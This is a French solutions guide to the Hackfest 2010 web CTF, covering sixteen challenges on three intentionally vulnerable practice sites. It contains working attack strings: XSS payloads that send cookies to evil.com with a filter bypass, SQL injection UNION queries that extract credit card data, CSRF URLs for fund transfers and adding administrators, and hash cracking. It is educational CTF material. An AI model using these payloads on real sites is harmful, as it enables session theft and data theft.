HACKFEST 2010 - SOLUTIONNAIRE WEBCTF [v.2]

Sommaire

Site 1 (L'actuel)

Thématique : Site de nouvelles où des rédacteurs divers peuvent soumettre des textes. Des tiers externes ont la possibilité d'afficher leur bannière publicitaire sur le site.

Prémisse

Avant de pouvoir exploiter les failles qui vont suivre, des accès minimaux doivent être obtenus.

1. Consulter le /robots.txt. Ce qui affiche "Hum... you don't look like a web crawler."

2. Modification du user-agent pour celui d'un bot (ou tout u-a de moins de 15 caractères). On peut maintenant voir le dossier caché /backup.

3. En consultant le dossier backup, on retrouve un script sql nommé "bak_2010-10-02.sql" qui contient la liste des utilisateurs importants, leur mot de passe hashé et leur rôle.

```
[...]
INSERT INTO `users` (`id`, `username`, `password`, `email`, `role`,
`date_register`) VALUES
(1,'admin','4c14207ec7e776f806119bd5e0d7c04e','contact@lactuel.ca',
'admin','2010-07-20 00:00:00'),
(2,'wallyt','b7b6d5a91da2406c9f4fad4f6e76d471','wallyt@hotmail.com',
'confirm_writer','2010-07-21 00:00:00'),
(3,'jamesp','97899ea4282849bdbf2abb8ee2f6265c','james.pr@gmail.com',
'advertiser','2010-09-02 00:00:00'),
(4,'arthurm','5badcaf789d3d1d09794d8f021f40f0e','arthur.miller@yahoo.ca',
'pending_writer','2010-09-10 00:00:00');
[...]
```

NOTE : Seul les hashs MD5 en bleu sont crackable.

arthurm : par dictionnaire simple ou recherche google

jamesp : brute force avec un charset numérique (ou lettres les plus communes + numérique)

01-Enregistrement Premium

Trouvé par les équipes : kioptrix, Worlds #1 Hackers et Amish Security

---

1. Se rendre à la page premium.php
2. Après une revue rapide du code source, on peut identifier que les valeurs des packages ne sont pas associés à des IDs quelconques, mais directement le prix potentiellement chargé:

```
<select name="package">
<option value="22">Regular - 12 issues (22$)</option>
<option value="18">Student - 12 issues (18$)</option>
</select>
```

3. Soumission du formulaire avec une valeur différente autre que celles prévues

02-Captcha - Erreur de logique

Trouvé par aucune équipe

---

1. Se rendre sur la page du concours /contest.php
2. Identifié la source de l'image (/captcha/captcha.php)

3. Dans le dossier /captcha, on retrouve un fichier howto.txt qui montre comment est utilisé le composant.

```
//Validate captcha
$validCaptcha=0;
if(isset($_SESSION['captcha']) && isset($_POST['captcha'])) {
	if($_SESSION['captcha'] == $_POST['captcha']) {
		$validCaptcha=1;
	}
	$_SESSION['captcha']=NULL; //Code manquant
}
```

La vulnérabilité vient du fait qu'on s'attend que la variable session « captcha » soit écrasée à tous coup (par le script de l'image). La valeur devrait être invalidée lorsqu'elle est utilisée ou lorsque la requête est erronée.

Il est donc possible de réutiliser la même valeur plus d'une fois tant qu'aucune requête n'est refaite vers l'image.

4. Retourner à la page /contest.php où l'image est chargée. Soumettre la valeur associée.
5. Soumission du même formulaire en utilisant la valeur précédente. (En s'assurant de ne pas recharger l'image)
6. Le drapeau est affiché dès le 2e post-back.

03-Soumission d'article

Trouvé par les équipes : sinful, ROT26, Worlds #1 Hackers, Gliderous Tigers et Amish Security

---

1. Authentification avec l'utilisateur arthurm.
2. Se rendre sur la page d'ajout d'article /article_add.php
3. Lors de la soumission, éditer le champ hidden "userid" de 4 -> 2 (firebug/tamper data/web scarab...)
4. Lors du post-back, le drapeau sera affiché.

04-XSS Persistant

Trouvé par aucune équipe

---

1. Authentification avec l'utilisateur jamesp.
2. Localiser le XSS dans la page article_view.php (champs title).
3. Se rendre sur la page de configuration des pubs /ads_edit.php
4. Placer un url exploitant le xss mentionné à l'étape 2. Le xss doit effectuer une redirection avec le cookie en paramètre.

Exemples de scripts possibles :

```
http://lactuel.ca/article_view.php?id=2600&title=<script>document.write("<img src='http://evil.com/?"%2Beval('document.cook'%2B'ie')%2B"'>")</script>
```

```
http://lactuel.ca/article_view.php?id=2600&title=<script>window.location = 'http://evil.com/?'%2Beval('document.cook'%2B'ie')</script>
```

Notes :

- Un léger filtre supprimait toute chaine « cookie ». Pour contourner ce filtre, on pouvait utiliser eval ou String.toCharCode(… caractères ascii décimal …).
- Les + ont été remplacés par %2B puisque, dans une url, + correspond à un espace.

Pour chacune des tentatives faites, au moins trois visiteurs visionnent votre url dans le iframe de publicité. Les deux premiers visiteurs correspondaient à des visiteurs n'étant pas authentifié. Le troisième était l'administrateur du site (comme par hasard).

5. Capturer les cookies et modifier localement le cookie de son navigateur pour personnifier les différentes sessions.
6. Une fois authentifié en temps qu'administrateur, vous devriez avoir accès à une page administrative pour approuver les articles. Lorsque vous aurez approuvé un article (nécessite d'avoir complété la faille 03), votre article devrait être visible par tous les participants.

Site 2 (Path-E-Tech)

Thématique : Site transactionnel où il est possible de commander des logiciels informatiques lié à la sécurité.

05-Panier d'achat – Erreur de logique

Trouvé par les équipes : Primes, TAD, iND, Worlds #1 Hackers et Amish Security

L'élément à identifier dans la logique du panier d'achat est que le total était transporté d'une page à une autre via un champ hidden.

```
<input type="hidden" name="total" value="c9ed406d72b009e3"/>
c9ed406d72b009e3 -> 35.99
f5f00b2ff0e20bac -> 51.98
6516b006214b9b5c -> 0.00
```

Il est possible d'avoir une série de valeurs valides en faisant varier le contenu de la commande (voir liste précédente).

1. Noter la valeur encryptée d'un total à 0,00$
2. Remplir le panier d'achat (au moins un item)
3. Passer à la page de confirmation (checkout) en y altérant la valeur envoyée pour la valeur encryptée qui était présente pour un panier vide.

06-Script include

Trouvé par les équipes : The Script Kiddies, r3b00t, kioptrix, ROT26, TAD, iND, ETS, Gliderous Tigers et Amish Security

Avant de pouvoir exploiter l'inclusion de fichier, il était nécessaire d'avoir analysé l'emplacement des ressources CSS, images, etc.

```
/data/css/style.css
/data/images/cart.gif
```

En se rendant, dans l'un des sous dossiers, on pouvait constater que l'énumération des fichiers n'est pas bloqué et ainsi il est possible de remonter au dossier parent /data qui donnait accès entre autre à desc/ et dev/.
L'ensemble des scripts dans dev/ sont bloqués par un contrôle d'accès probablement gérer par le conteneur web.
Pour trois pages du site, un même script est utilisé : info.php. Cette page prend en paramètre une partie d'un chemin d'accès.

```
/info.php?content=desc/services -> inclus /data/desc/services.php
/info.php?content=desc/specials
/info.php?content=desc/about
```

Pour exécuter les scripts de dev/, il suffisait de changer le chemin : /**info.php?content=dev/test_db** pour charger test_db.php.

07-Script include Partie 2 – Ajout de produit

Trouvé par les équipes : TAD et ETS

Bien qu'un filtre assez strict soit appliqué au paramètre content (points enlevés, ajout de l'extension à la fin et filtrage des bytes null), il était possible d'inclure un autre script.

/**info.php?content=dev/add_product** -> Pour charger le script add_product.php

Le script retournait deux erreurs relatives à des index non définis name et description. Il s'agissait de paramètres POST non définis ($_POST[index]). Une fois les erreurs corrigées un produit était ajouté à la liste et le drapeau était fourni du même coup.

08-SQL Injection

Trouvé par les équipes : kioptrix et ROT26

Il était possible d'identifier l'injection en ajoutant un guillemet simple qui forcera la requête à échouer.

/product_detail.php?id_product=1'

Comme la page charge des informations sur un produit, on peut en déduire qu'il s'agit d'un SELECT. On peut ensuite tenter d'unir une autre requête (SELECT …. UNION SELECT …)

```
/product_detail.php?id_product=1' and 1=2 union select 1,2,3,4,5,6 #
Produisant la requête:
select * from product where id_product = '1' and 1=2 union select 1,2,3,4,5,6
#'
```

On sait maintenant que la requête initiale sélectionnait six colonnes et que les valeurs 1,2,3,5 sont retournées dans la page originale.

On pouvait ensuite lister les tables et colonnes (INFORMATION_SCHEMA.TABLES et INFORMATION_SCHEMA.COLUMNS) et finalement naviguer ligne par ligne dans chacune des tables.

```
/product_detail.php?id_product=1' and 1=2 union select
1,account_id,credit_card,4,5,6 from path_clients LIMIT 2,1%23
```

Pour éditer aisément vos requêtes, l'utilisation d'outils tels que WebScarab, fiddler ou HackBar peut aider.

09-Login Applet

Trouvé par les équipes : sinful, The Script Kiddies, ROT26, TAD, Worlds #1 Hackers, Bitducks, ETS et Amish Security

1. Récupérer le code de l'applet Java. (de la page /admin.php)

```
<applet archive="data/applet/admin-panel-7.jar" …> </applet>
```

2. En capturant le trafic lorsqu'une tentative de login est faite, on peut identifier une requête faire vers /admin.php avec la méthode post avec en paramètre action=LIST_PASSWD.
3. Pour ce drapeau, l'essentiel se trouvait dans la classe RemoteAction de l'applet. On peut y apercevoir 2 actions LIST_PASSWD et STATS.
4. Il est donc possible de contourner le mécanisme d'authentification en faisant directement une requête avec l'action STATS.

10-Applet Partie 2 – Reverse crypto

Trouvé par les équipes : TAD et Amish Security

Bien que le mécanisme d'authentification soit contournable, un second drapeau se retrouvait dans le mot de passe d'un des comptes d'administration.

Dans la classe LoginValidation, on peut retrouver une tentative de chiffrement personnalisé utilisant le principe que l'algorithme RSA. Le mot de passe saisie passe par une fonction qui l'encrypte avec une clé connue (e et n).

$$e = 77460554703$$
$$n = 302544140053$$
$$version\ chiffré = (mot\ de\ passe\ original)^e (mod\ n) \quad [\boldsymbol{eq1}]$$

Comme les entiers utilisés étaient relativement petit, les mots de passe étaient divisés en bloc de 4 caractères.

Méthode 1 : Brute force de la fonction d'encryption

Il était possible de faire un brute force de la fonction d'encryption (eq1) qui consiste à passer un mot de passe différent jusqu'à ce que la version encryptée corresponde.

Méthode 2 : Brute force de l'entier d (clé privé)
Il était également possible d'encrypter une valeur très petite avec la fonction ci-dessus [eq1]. Ensuite, on peut rechercher la valeur de la clé privée (d) en connaissant un couple de valeurs non-chiffrée et chiffrée [eq2].

$$mot\ de\ passe\ original = (version\ chiffré)^{d} (mod\ n) \quad [\boldsymbol{eq2}]$$

Méthode 3 : Factorisation de l'entier n
Suite à la factorisation de l'entier n, on obtient les deux nombres : 53×5708380001 [Factoris: http://wims.unice.fr/wims/en_tool~algebra~factor.html]. On peut ensuite reconstruire d et e [Wikipedia: http://en.wikipedia.org/wiki/RSA#Operation] et décrypter le mot de passe bloc par bloc comme pour la méthode 2.

Site 3 (SocialBank)

Thématique : Site bancaire étant à la fois un site transactionnel et un réseau social.

11-Code d'invitation

Trouvé par les équipes : The Script Kiddies, r3b00t, Les Darks, hackus, Primes, ROT26, Echo, TAD, iND, Worlds #1 Hackers, Bitducks, ETS, Gliderous Tigers et Amish Security

Avant de pouvoir utiliser les fonctionnalités du site, un compte doit être créé.

1. On peut identifier que la validation se fait coté client.

```
<form name="register" method="post" action="" onsubmit="return
validateRegistrationForm()">
```

2. On retrouve le contenu de cette fonction dans le fichier /**js/user.js**

```
[…]
if(code == String.fromCharCode(70,76,65,71,45,97,57,48,56,45,100,99,48,
48,101,48,54,49,102,98,57,53)) {
   return true;
}
[…]
```

3. Il suffit ensuite d'évaluer l'expression String.fromCharCode(…)

12-Transfert de fonds

Trouvé par les équipes : Worlds #1 Hackers, ETS et Amish Security

1. Suite à une utilisation normale de la fonction, on peut capturer la requête suivante (transfert de 1$ vers le compte de michel):

```
http://socialbank.com/ajax/trans_sendFound.php?source=test&recipient_id=michel&
found=1
```

La source n'est pas un élément pouvant être altéré. Comme le script valide la source avec la session en cours. Il est cependant possible de forcer un utilisateur authentifié à effectuer cette action.

2. L'envoi d'une image utilisant l'url suivant à michel déclenchait une transaction.

```
http://socialbank.com/ajax/trans_sendFound.php?source=michel&recipient_id=test&
found=2600
```

Note : Le drapeau se retrouve dans les ID de transaction créée.

13-Investissement

Trouvé par les équipes : Primes, ROT26, Worlds #1 Hackers, ETS, Gliderous Tigers et Amish Security

---

Le formulaire d'investissement fait une première étape d'une validation. L'erreur retournée fait référence à des fonds insuffisants. L'essentiel est que pour afficher la 2e partie de l'opération le formulaire se base sur un appel ajax vers le serveur qui retourne si l'utilisateur est éligible.

Il est possible de passer à la 2e étape de différentes manières.

- Il possible d'altéré la réponse lorsqu'elle est reçue.

```
{result:"0",msg:"Your account has insufficient found."}
Suite à la modification:
{result:"1",msg:"Your account has insufficient found."}
```

- On peut exécuter directement le code JavaScript se trouvant dans la condition de succès.

```
accountOK = true;
[…]
foundOK = true;
[…]
showDetails();
```

- Il est finalement possible de suivre l'algorithme jusqu'à la requête finale. Tous les champs visibles dans la source devaient être remplis et un champ hidden « accountValidate » devait contenir le timestamp courant.

14-Lecture de logs

Trouvé par les équipes : Gliderous Tigers et ETS

Pour un site utilisant fortement AJAX, il est important de faire une revue des différents fichiers Javascript. Dans le fichier admin.js, on pouvait y découvrir quelques fonctionnalités qui n'étaient pas accessibles via l'interface.

```
function refreshLogContainer(limit) {…}
requête ajax vers :
/ajax/admin_log.php?limit=100
```

Comme aucun contrôle d'accès n'était fait pour accéder à cette ressource, elle pouvait être consultée par tous.

Dans la réponse que pour *admin_log.php*, on pouvait y identifier :

```
[...]/index.php","referrer":"http:\/\/intranet.pathetech.com\/links.jsp;JSESSIO
NID=FLAG-ba40-bbaf61228383?group=102"[...]
```

15-Élévation de privilèges

Trouvé par les équipes : Amish Security et Gliderous Tigers

Similairement au transfert de fonds, on pouvait identifier un CSRF possible avec la fonction suivante (qui se trouvait dans le fichier admin.js) :

```
function addAdminUser(username) {…}
requête ajax vers :
ajax/admin_add.php?username=test
```

Il ne reste plus qu'à faire visiter cette url par michel (administrateur du site). Lorsque l'action sera complétée, vous devriez avoir accès à une section administrative. Dans cette section, il est possible de changer le slogan du site (un drapeau est montré à ce moment).

Bonus

16-Stéganographie

Prévoyant le scénario où plusieurs équipes complètent rapidement 100% des drapeaux, un drapeau ultime avait été prévu. Celui-ci se trouvait sur le 4e site : le site du pointage.

1. Télécharger le graphique des scores.
2. On peut y retrouver la chaine « `[une image vaut mille mots ..ou 12 pts]` » lorsqu'ouvert dans un éditeur texte. Ce message était un indice.
3. Le cœur du problème était d'analyser l'utilisation des bits les moins significatifs des composantes RGB de chacun des pixels.

Mini Hall of Fame (vulnérabilités imprévues)

- Plusieurs équipes ont découvert l'existence du fichier /**phpinfo.php** qui avait été laissé par erreur sur le site du pointage. Il y avait peu ou pas d'informations importantes.
- L'équipe **R3boot** nous a signalé que la structure de fichier svn était visible. Ce qui donnait accès à plusieurs informations privilégiées : liste des fichiers pour tous les dossiers, utilisateur svn et url pointant vers le repository svn (tous ces infos se trouvant dans **.svn/entries**).

Crédit

Épreuves / Solutionnaire / LiveCD conçus par Philippe Arteau
Commentaires ou questions : *cuvyvccr.negrnh@tznvy.pbz* (ROT13)